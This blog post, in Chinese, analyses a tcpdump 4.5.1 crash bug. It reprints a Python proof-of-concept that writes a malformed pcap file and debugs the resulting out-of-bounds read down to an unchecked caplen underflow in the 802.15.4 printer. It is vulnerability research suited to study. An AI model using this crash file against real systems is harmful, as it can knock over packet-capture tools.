关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
tcpdump
无
285
0
0
mut3p1g
向石师傅学习!所以先学习一下他关于`tcpdump`的[第一篇分析](http://whereisk0shl.top/post/2016-10-23-1),看看这个漏洞是什么样的。 ## 0x01 安装tcpdump 首先是下载存在漏洞的指定版本的[tcpdump](https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz) 通过阅读`INSTALL.txt`,可以发现需要安装`libpcap`,由于我使用`ubuntu`所以可以直接安装 ``` sudo apt-get install libpcap-dev ``` 当然源码安装也是可以的。 接下来就是正常源码编译的步骤 ``` ./configure make ``` ## 0x02 POC生成 ``` from subprocess import call from shlex import split from time import sleep def crash(): command = 'tcpdump -r crash' buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff' buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00' buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00' buffer += '\x40\xff\x00\x00\x00\x00\x00\x00' with open('crash', 'w+b') as file: file.write(buffer) try: call(split(command)) print("Exploit successful! ") except: print("Error: Something has gone wrong!") def main(): print("Author: David Silveiro ") print(" tcpdump version 4.5.1 Access Violation Crash ") sleep(2) crash() if __name__ == "__main__": main() ``` 然后运行一下: ``` ./tcpdump -r crash ``` 查看一下输出: ``` reading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS) 0x0000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x0010: 0000 0000 0000 0000 0000 0000 0000 0000 ................ .... 0x20740: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x20750: 0000 0000 0000 0000 0000 0000 0000 0000 ................ [2] 10571 segmentation fault (core dumped) ./tcpdump -r crash ``` ## 0x03 POC分析 ### 1. pcap包结构 pcap结构声明都在`/usr/include/pcap/pcap.h`中可以找到。 #### 1) pcap文件头 文件头就用来表示这个文件是一个`pcap`,并包含了一些相关信息,一般对包的分析都没什么帮助。 ``` struct pcap_file_header { // 0x18B bpf_u_int32 magic; // 4B 为pcap文件标识 u_short version_major; // 2B 主版本号 = 2 u_short version_minor; // 2B 副版本号 = 4 bpf_int32 thiszone; // 4B 与GMT的时差, bpf_u_int32 sigfigs; // 4B 时间戳精度 bpf_u_int32 snaplen; // 4B 最大存储长度 bpf_u_int32 linktype; // 4B 链路类型 }; ``` #### 2) packet头 包头中存储了包抓取的时间以及长度,通过长度可以区分两个包。 ``` struct pcap_pkthdr { // 0x10 struct timeval ts; // 8B 时间戳 bpf_u_int32 caplen; // 4B 当前packet保存下来的长度 bpf_u_int32 len; // 4B 当前packet的真实长度 }; struct timeval { long tv_sec; // 4B 秒数 suseconds_t tv_usec; // 4B 微秒数 }; ``` ### 2. POC分析 通过上面对`pcap`结构的了解,现在就可以将POC分析一下了: ``` ➜ tcpdump-4.5.1 cat crash | hexdump -C 00000000 d4 c3 b2 a1 02 00 04 00 00 00 00 f5 ff 00 00 00 |................| 00000010 49 00 00 00 e6 00 00 00 00 80 00 00 00 00 00 00 |I...............| 00000020 08 00 00 00 08 00 00 00 40 ff 00 00 00 00 00 00 |........@.......| ``` 前面0x00-0x18都是`pcap`文件头,紧接着0x18-0x20是时间戳也不用管。`caplen=0x08`所以后面需要跟上8自己的包数据,而这里`len=0x08`实际上是多少都没关系(0都可以),而不是石师傅说的因为这个值很大导致的崩溃。那么问题就来了,到底是什么导致的崩溃呢? 于是我注意到了输出的`IEEE802_15_4_NOFCS`,发现这个应该是链路类型,且其值为0xe6。接着我爆破了一下链路类型,发现只有0xc3和0xe6会崩溃,他们对应的链路类型如下: ``` 0xc3: IEEE802_15_4 0xe6: IEEE802_15_4_NOFCS ``` 那么问题可能就在这了,可能是对`IEEE802_15_4*`处理的失误导致的崩溃。 ## 0x04 调试分析 通过上面的分析已经找到了一个可能的原因,但是这个原因是不是对的呢?崩溃又是如何一步一步触发的呢?这就需要我们接下来的调试了。 ### 1. 触发崩溃 通过`gdb`调试,然后会断在崩溃的地方,然而这里我和石师傅好像不太一样,所以只能自己分析了 ``` gdb tcpdump r -r crash ``` 程序停在了这个地方: ``` [──────────────────────────────────────────────────────────────────DISASM──────────────────────────────────────────────────────────────────] ► 0x40cd97 <hex_and_ascii_print_with_offset+103> movzx ebx, byte ptr [r12 - 1] 0x40cd9d <hex_and_ascii_print_with_offset+109> mov rax, r13 0x40cda0 <hex_and_ascii_print_with_offset+112> mov esi, 0x29 0x40cda5 <hex_and_ascii_print_with_offset+117> sub rax, rdi 0x40cda8 <hex_and_ascii_print_with_offset+120> sub rsp, 8 0x40cdac <hex_and_ascii_print_with_offset+124> mov r8d, 0x4755e0 0x40cdb2 <hex_and_ascii_print_with_offset+130> sub rsi, rax 0x40cdb5 <hex_and_ascii_print_with_offset+133> mov ecx, 0x29 0x40cdba <hex_and_ascii_print_with_offset+138> mov edx, 1 0x40cdbf <hex_and_ascii_print_with_offset+143> mov rdi, r13 0x40cdc2 <hex_and_ascii_print_with_offset+146> mov ebp, r9d [──────────────────────────────────────────────────────────────────SOURCE──────────────────────────────────────────────────────────────────] 86 nshorts = length / sizeof(u_short); 87 i = 0; 88 hsp = hexstuff; asp = asciistuff; 89 while (--nshorts >= 0) { 90 s1 = *cp++; 91 s2 = *cp++; 92 (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff), 93 " %02x%02x", s1, s2); 94 hsp += HEXDUMP_HEXSTUFF_PER_SHORT; 95 *(asp++) = (isgraph(s1) ? s1 : '.'); ... Program received signal SIGSEGV (fault address 0x845000) ``` 那么问题应该就出在 ``` s2 = *cp++; ``` 那么直接打印一下`cp`: ``` pwndbg> p cp $7 = (const u_char *) 0x845000 <error: Cannot access memory at address 0x845000> ``` 果然是由于`cp`无法访问的原因,于是断在`./print-ascii.c:90`,发现第一次进来时 ``` pwndbg> p cp $8 = (const u_char *) 0x824586 "" ``` 查看一下他们的差为`0x845000-0x824586=0x20a7a`。那么可以猜测应该是由于`cp`一次次的增加,导致其增长到了一个不可访问的空间。 ### 2. 回溯追踪 已经定位到了崩溃的位置,那么通过`backtrace`查看一下函数的调用过程: ``` pwndbg> bt #0 hex_and_ascii_print_with_offset (ident=0x4818f7 "\n\t", cp=0x845000 <error: Cannot access memory at address 0x845000>, length=0xfffffff3, oset=0x20a70) at ./print-ascii.c:91 #1 0x000000000040af5d in ieee802_15_4_if_print (ndo=0x8221c0 <Gndo>, h=<optimized out>, p=<optimized out>) at ./print-802_15_4.c:180 #2 0x000000000045d39f in print_packet (user=0x7fffffffcae0 "\300!\202", h=0x7fffffffc9d0, sp=0x824570 "@\377") at ./tcpdump.c:1950 #3 0x00007ffff776fac4 in ?? () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8 #4 0x00007ffff77601cf in pcap_loop () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8 #5 0x0000000000404407 in main (argc=argc@entry=0x3, argv=argv@entry=0x7fffffffdd48) at ./tcpdump.c:1569 #6 0x00007ffff73a7830 in __libc_start_main (main=0x4035e0 <main>, argc=0x3, argv=0x7fffffffdd48, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdd38) at ../csu/libc-start.c:291 #7 0x00000000004051b9 in _start () ``` 可以看到,最终问题就出在`hex_and_ascii_print_with_offset`这个函数里面,而通过函数名可以知道这个操作就是我们的输出——将数据按偏移以`hex|ascii`的格式打印出来。 #### 1) tcpdump.c(main) 那么我们从`main`函数开始,首先看看第一句话打印的地方在哪里 ``` reading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS) => 1225 fprintf(stderr, 1226 "reading from file %s, link-type %s (%s)\n", 1227 RFileName, dlt_name, 1228 pcap_datalink_val_to_description(dlt)); ``` 于是跟着往后走,走到了获取链路类型的代码: ``` 1510 } else { 1511 type = pcap_datalink(pd); 1512 printinfo = get_print_info(type); 1513 callback = print_packet; 1514 pcap_userdata = (u_char *)&printinfo; 1515 } ``` 其中各个变量的意义及具体值如下: ``` type=0xe6 //链路类型 printinfo = { // 打印信息 ndo = 0x8221c0 <Gndo>, p = { printer = 0x40ada0 <ieee802_15_4_if_print>, ndo_printer = 0x40ada0 <ieee802_15_4_if_print> }, ndo_type = 0x1 } callback=(pcap_handler) 0x45d350 <print_packet> // 回调函数为print_packet,也是之前bt出来的一个中间调用 pcap_userdata=&printinfo // 指向printinfo ``` 接着之后就到达了`backtrace`中的调用 ``` 1569 status = pcap_loop(pd, cnt, callback, pcap_userdata); ``` #### 2) libpcap.so.0.8 这里用的就是`libpcap`的内置函数了,我就不调试了,之后就直接调用的之前设定好的回调函数`print_packet`。 #### 3) tcpdump.c(print_packet) 首先看一下函数声明 ``` print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp) ``` 其中各个变量的意义及具体值如下: ``` user=pcap_userdata h = { // packet头 ts = { tv_sec = 0x8000, tv_usec = 0x0 }, caplen = 0x8, len = 0x8 } sp=0x824570 // 即packet数据 ``` 后面的程序不长,我就把调用到触发崩溃的代码贴上来了 ``` { struct print_info *print_info; u_int hdrlen; ++packets_captured; ++infodelay; ts_print(&h->ts); print_info = (struct print_info *)user; // 获取print_info /* * Some printers want to check that they're not walking off the * end of the packet. * Rather than pass it all the way down, we set this global. */ snapend = sp + h->caplen; if(print_info->ndo_type) { hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp); // 在这里调用ieee802_15_4_if_print } else { hdrlen = (*print_info->p.printer)(h, sp); } .... ``` #### 4) print-802_15_4.c(ieee802_15_4_if_print) 这里代码不长,调试后分析如下: ``` u_int ieee802_15_4_if_print(struct netdissect_options *ndo, const struct pcap_pkthdr *h, const u_char *p) { u_int caplen = h->caplen; int hdrlen; u_int16_t fc; u_int8_t seq; if (caplen < 3) { ND_PRINT((ndo, "[|802.15.4] %x", caplen)); return caplen; } fc = EXTRACT_LE_16BITS(p); // 即packet数据的开头两位=>0xff40 hdrlen = extract_header_length(fc); // 获取对应的packet头长度,计算后为0x12 seq = EXTRACT_LE_8BITS(p + 2); // packet去除fc后剩下的字符,我们构造的这里为0 p += 3; // 跳过前面已经获取的值 caplen -= 3; // caplen减去这个3 ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7])); if (vflag) ND_PRINT((ndo,"seq %02x ", seq)); if (hdrlen == -1) { ND_PRINT((ndo,"malformed! ")); return caplen; } if (!vflag) { // 经过调试这里flag为假,所以直接进入下面的就可以了 p+= hdrlen; // 除去头部 caplen -= hdrlen; // 减去头部的长度,得到packet数据的长度 } else .... if (!suppress_default_print) (ndo->ndo_default_print)(ndo, p, caplen); // 调用hex_and_ascii_print_with_offset return 0; } ``` 可以看到这里问题就出现了:没有对`caplen`进行判断。于是导致的问题是如果`caplen`太小,通过上面操作减去3和`hdrlen`之后就会变成负数。 #### 5) print-ascii.c(hex_and_ascii_print_with_offset) 通过上面的分析,知道了`caplen`会变成负数,那么看下函数声明: ``` 77 hex_and_ascii_print_with_offset(register const char *ident, 78 register const u_char *cp, register u_int length, register u_int oset) ``` 发现`caplen`的变量类型是`u_int`,于是导致了`length`变为了一个很大的数,这就是问题的由来。接着通过接下来的循环,会导致`cp`一直增加,直到达到了一个不可访问的地址,就会崩溃退出。 ``` 89 while (--nshorts >= 0) { 90 s1 = *cp++; 91 s2 = *cp++; ``` ## 0x05 总结 首先对结果进行一下检验,即将`caplen`设置为多少之后就不会崩溃,最终测试结果为0x14,即`0x12+3=0x15`。当`caplen=0x15`时会导致传入打印函数的是0所以不会崩溃,小于这个值传入的就会是负数而崩溃。 可以看到,导致漏洞的原因是因为在对`IEEE802_15_4*`处理时,由于没有对`caplen`进行判断,导致其为负数也被传入了`hex_and_ascii_print_with_offset`进行打印,最终导致访问一个不可访问的地址而崩溃。一开始所给的POC很具有迷惑性,给的`len`非常大,但实际上在调试过程中并没有用到这个值。
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.